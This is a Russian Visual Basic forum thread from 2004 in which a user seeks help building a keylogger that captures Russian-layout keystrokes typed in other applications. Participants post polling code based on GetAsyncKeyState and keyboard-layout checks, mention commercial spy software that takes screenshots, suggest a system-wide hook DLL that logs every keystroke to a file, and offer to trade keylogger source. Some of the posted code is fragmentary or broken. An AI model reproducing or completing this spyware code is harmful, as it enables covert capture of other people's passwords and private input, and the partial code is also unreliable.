проблемы с клавиатурным шпионом

Программирование на Visual Basic, главный форум. Обсуждение тем программирования на VB 1—6.
Даже если вы плохо разбираетесь в VB и программировании вообще — тут вам помогут. В разумных пределах, конечно.
Правила форума
Темы, в которых будет сначала написано «что нужно сделать», а затем просьба «помогите», будут закрыты.
Читайте требования к создаваемым темам.
HugoFlex
Новичок
Новичок
Аватара пользователя
 
Сообщения: 39
Зарегистрирован: 22.10.2004 (Пт) 21:31
Откуда: от верблюда

проблемы с клавиатурным шпионом

Сообщение HugoFlex » 01.11.2004 (Пн) 21:59

Есть такой вопрос. Вот я сделаль клавиатурный шпион с русской раскладкой. В текушей окне приложения раскладка работает нормально. Но когда я перемещаю фокус на другое окно то ррасскладка не реагирует. Проверку расскладки я реализовал с помощю API функции
GetKeyboarLayoutName
А саму функцию проверки я сделал так:
Код: Выделить всё
Public Function RUKEYSON() As Boolean
    Dim KeybLayoutName As String, k As Long, nap
KeybLayoutName = String(9, 0)
GetKeyboardLayoutName (KeybLayoutName)
k = CStr(CLng(Left$(KeybLayoutName, _
   InStr(1, KeybLayoutName, Chr(0)) - 1)))

If k = "0409" Then
   RUKEYSON = False
ElseIf k = "0419" Then
   RUKEYSON = True
End If
End Function

Подскажите в чём проблема?[/list]
Читай не затем, чтобы противоречить и опровергать, не затем, чтобы принимать на веру и не затем, чтобы найти предмет для беседы, но чтобы мыслить, рассуждать и мечтать.

Max!
Постоялец
Постоялец
Аватара пользователя
 
Сообщения: 502
Зарегистрирован: 03.04.2003 (Чт) 22:08
Откуда: Литва

Сообщение Max! » 01.11.2004 (Пн) 23:25

Правильно ведь когда форма вне фокусе то там уже идёт проверка вне формы , тоесть тибе нужен код каторый отлавливал-бы нажатие клавиш вне формы ! Попробуй этот :

Код: Выделить всё
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Sub keybd_event Lib "user32.dll" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)

In Form:

Do Until GetAsyncKeyState(vbKeyEscape) <> 0
DoEvents
If GetAsyncKeyState(vbKeyA) <> 0 Then MsgBox "A": keybd_event vbKeyA, 0, 2, 0
DoEvents
If GetAsyncKeyState(vbKeyEnter) <> 0 Then MsgBox "Enter": keybd_event vbKeyEnter, 0, 2, 0
DoEvents
Loop

:wink:
Max!

HugoFlex
Новичок
Новичок
Аватара пользователя
 
Сообщения: 39
Зарегистрирован: 22.10.2004 (Пт) 21:31
Откуда: от верблюда

Сообщение HugoFlex » 02.11.2004 (Вт) 5:43

Я итак знаю отлавливать нажатиые кнопки даже если форма неактивна. Да при этом у меня работает с маленькими и русскими шрифтами, да и форма видна (а утебя как только запускаешь, формы нет :( ). Вот отрывок кода:
Код: Выделить всё
Private Declare Function GetKeyboardLayoutName Lib "user32" _
Alias "GetKeyboardLayoutNameA" (ByVal pwszKLID As String) As Long
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Private Declare Function Getasynckeystate Lib "user32" Alias "GetAsyncKeyState" (ByVal VKEY As Long) As Integer
    Private Const VK_CAPITAL = &H14

Const bigRUS = "ФИСВУАПРШОЛДЬТЩЗЙКЫЕГМЦЧНЯ"
Const smlRUS = "фисвуапршолдьтщзйкыегмцчня"

Private Sub Timer1_Timer()
f (RUKeysOn = False And CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = _
    &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
        Text2 = Text2 + Chr(x)
    End If
   
    If (RUKeysOn = False And CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = _
    &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
        Text2 = Text2 + Chr(x + 32)
    End If
   
    If (RUKeysOn = True And CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = _
    &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
        Text2 = Text2 + Mid(bigRUS, x - 64, 1)
    End If
   
    If (RUKeysOn = True And CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = _
    &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
        Text2 = Text2 + Mid(smlRUS, x - 64, 1)
    End If
Next

End Sub

Public Function RUKeysOn() As Boolean
Dim KeybLayoutName As String, k As Long, nap
KeybLayoutName = String(9, 0)
GetKeyboardLayoutName (KeybLayoutName)
k = CStr(CLng(Left$(KeybLayoutName, _
   InStr(1, KeybLayoutName, Chr(0)) - 1)))

If k = "0409" Then
   RUKeysOn = False
ElseIf k = "0419" Then
   RUKeysOn = True
End If

End Function

Public Function CAPSLOCKON() As Boolean
    Static bInit As Boolean
    Static bOn As Boolean
    If Not bInit Then
    While Getasynckeystate(VK_CAPITAL)
    Wend
    bOn = GetKeyState(VK_CAPITAL)
    bInit = True
    Else
    If Getasynckeystate(VK_CAPITAL) Then
    While Getasynckeystate(VK_CAPITAL)
    DoEvents
    Wend
    bOn = Not bOn
    End If
    End If
    CAPSLOCKON = bOn
End Function

Но впрос я задал иной. :arrow: Как поменять раскладку клавиатуры вне формы? :?: :?: :?:
Читай не затем, чтобы противоречить и опровергать, не затем, чтобы принимать на веру и не затем, чтобы найти предмет для беседы, но чтобы мыслить, рассуждать и мечтать.

GSerg
Шаман
Шаман
 
Сообщения: 14286
Зарегистрирован: 14.12.2002 (Сб) 5:25
Откуда: Магадан

Сообщение GSerg » 02.11.2004 (Вт) 10:17

Раскладка клавиатуры поодерживается на уровне треда самой виндой. Не нужно её менять для других тредов - да и зачем?
Как только вы переберёте все варианты решения и не найдёте нужного, тут же обнаружится решение, простое и очевидное для всех, кроме вас

HugoFlex
Новичок
Новичок
Аватара пользователя
 
Сообщения: 39
Зарегистрирован: 22.10.2004 (Пт) 21:31
Откуда: от верблюда

Сообщение HugoFlex » 02.11.2004 (Вт) 20:44

Есть такая программа шпион котороя работает с русской раскладкой. Если не забыл то она называется ActualSpy. То там работает всё нормально да ещё он умеет снимать снимки с экрана :shock: Так как же они умудрились сделать. А может кто нибудь зает исходники вроде такой программы. Подскажите пожалуйста
Читай не затем, чтобы противоречить и опровергать, не затем, чтобы принимать на веру и не затем, чтобы найти предмет для беседы, но чтобы мыслить, рассуждать и мечтать.

HugoFlex
Новичок
Новичок
Аватара пользователя
 
Сообщения: 39
Зарегистрирован: 22.10.2004 (Пт) 21:31
Откуда: от верблюда

Сообщение HugoFlex » 02.11.2004 (Вт) 20:45

Есть такая программа шпион котороя работает с русской раскладкой. Если не забыл то она называется ActualSpy. То там работает всё нормально да ещё он умеет снимать снимки с экрана :shock: Так как же они умудрились сделать. А может кто нибудь знает исходники вроде такой программы. Подскажите пожалуйста
Читай не затем, чтобы противоречить и опровергать, не затем, чтобы принимать на веру и не затем, чтобы найти предмет для беседы, но чтобы мыслить, рассуждать и мечтать.

Tarik
Агент Системы
Агент Системы
Аватара пользователя
 
Сообщения: 1222
Зарегистрирован: 03.01.2003 (Пт) 16:05
Откуда: Москва

Сообщение Tarik » 02.11.2004 (Вт) 21:25

Эх... Что за времена пошли... Раньше RayShade за такое на Колыму бы сослал :)
Изображение

Ever tried? Ever failed? No matter. Try again! Fail again! Fail better!

HugoFlex
Новичок
Новичок
Аватара пользователя
 
Сообщения: 39
Зарегистрирован: 22.10.2004 (Пт) 21:31
Откуда: от верблюда

Сообщение HugoFlex » 02.11.2004 (Вт) 21:39

А кто такой RayShade? И в чем дело?
Читай не затем, чтобы противоречить и опровергать, не затем, чтобы принимать на веру и не затем, чтобы найти предмет для беседы, но чтобы мыслить, рассуждать и мечтать.

Amed
Алфизик
Алфизик
 
Сообщения: 5346
Зарегистрирован: 09.03.2003 (Вс) 9:26

Сообщение Amed » 02.11.2004 (Вт) 21:42

У-у... Он не знает RayShade! :lol:

HugoFlex
Новичок
Новичок
Аватара пользователя
 
Сообщения: 39
Зарегистрирован: 22.10.2004 (Пт) 21:31
Откуда: от верблюда

Сообщение HugoFlex » 02.11.2004 (Вт) 21:47

Я просто новинький в этом форуме. А что он такой злой?
Читай не затем, чтобы противоречить и опровергать, не затем, чтобы принимать на веру и не затем, чтобы найти предмет для беседы, но чтобы мыслить, рассуждать и мечтать.

Amed
Алфизик
Алфизик
 
Сообщения: 5346
Зарегистрирован: 09.03.2003 (Вс) 9:26

Сообщение Amed » 02.11.2004 (Вт) 21:53

Да как сказать... Он очень-очень строгий ;-)

HugoFlex
Новичок
Новичок
Аватара пользователя
 
Сообщения: 39
Зарегистрирован: 22.10.2004 (Пт) 21:31
Откуда: от верблюда

Сообщение HugoFlex » 02.11.2004 (Вт) 21:59

Ну я думал форум это место где можно задавать любые интересующие вопросу в тему
Читай не затем, чтобы противоречить и опровергать, не затем, чтобы принимать на веру и не затем, чтобы найти предмет для беседы, но чтобы мыслить, рассуждать и мечтать.

GSerg
Шаман
Шаман
 
Сообщения: 14286
Зарегистрирован: 14.12.2002 (Сб) 5:25
Откуда: Магадан

Сообщение GSerg » 02.11.2004 (Вт) 22:01

Можно :)
За исключением тех, которые нельзя :)
Которые нельзя - они в Правилах. Правила писал RayShade :)
Как только вы переберёте все варианты решения и не найдёте нужного, тут же обнаружится решение, простое и очевидное для всех, кроме вас

HugoFlex
Новичок
Новичок
Аватара пользователя
 
Сообщения: 39
Зарегистрирован: 22.10.2004 (Пт) 21:31
Откуда: от верблюда

Сообщение HugoFlex » 04.11.2004 (Чт) 4:50

Где эти правила я могу прочитать?:shock:
Читай не затем, чтобы противоречить и опровергать, не затем, чтобы принимать на веру и не затем, чтобы найти предмет для беседы, но чтобы мыслить, рассуждать и мечтать.

GM
programador
programador
 
Сообщения: 1427
Зарегистрирован: 24.06.2003 (Вт) 15:56
Откуда: 194.67.52.100

Сообщение GM » 04.11.2004 (Чт) 8:48

الفيجوال بيسك الرابح

xenomorph
Постоялец
Постоялец
Аватара пользователя
 
Сообщения: 508
Зарегистрирован: 18.04.2004 (Вс) 11:41
Откуда: это не важно - на сегодня у меня есть алиби ...

RE:

Сообщение xenomorph » 06.11.2004 (Сб) 10:55

Сам столкнулся ...

Другие кейлоггеры юзают хуки ... там такой проблемы нет (не ВБ).

Решил так:

Пишем только одним языком лог. + Делаем 2 кнопки - Конвертировать в РУ\Инглыш. В принципе нормально работает 8).

У меня есть код на хватание активного окна и определение раскладки ... (точнее где-то был 8).

Н.Б. Поменяемся сорсами?
... Dpkjvfnm dc`xnj itdtkbnmcz, f tckb yt itdtkbnmcz hfcitdtkbnm b dpkjvfnm !!! ...

HugoFlex
Новичок
Новичок
Аватара пользователя
 
Сообщения: 39
Зарегистрирован: 22.10.2004 (Пт) 21:31
Откуда: от верблюда

Сообщение HugoFlex » 06.11.2004 (Сб) 23:15

Так кидай его сюда или мне по почте.
Читай не затем, чтобы противоречить и опровергать, не затем, чтобы принимать на веру и не затем, чтобы найти предмет для беседы, но чтобы мыслить, рассуждать и мечтать.

Brusco
Обычный пользователь
Обычный пользователь
 
Сообщения: 50
Зарегистрирован: 22.10.2004 (Пт) 3:16
Откуда: Reutov, Russia

Сообщение Brusco » 10.11.2004 (Ср) 9:27

Писать надо на PB dll'ку, регить системный хук и вперёд...
Считывать все нажатые клавиши и записывать их в лог-файл :!:
Я такие встречал, правда на Delphi :)


Вернуться в Visual Basic 1–6

Кто сейчас на конференции

Сейчас этот форум просматривают: Google-бот, Yandex-бот и гости: 4

    TopList  
cron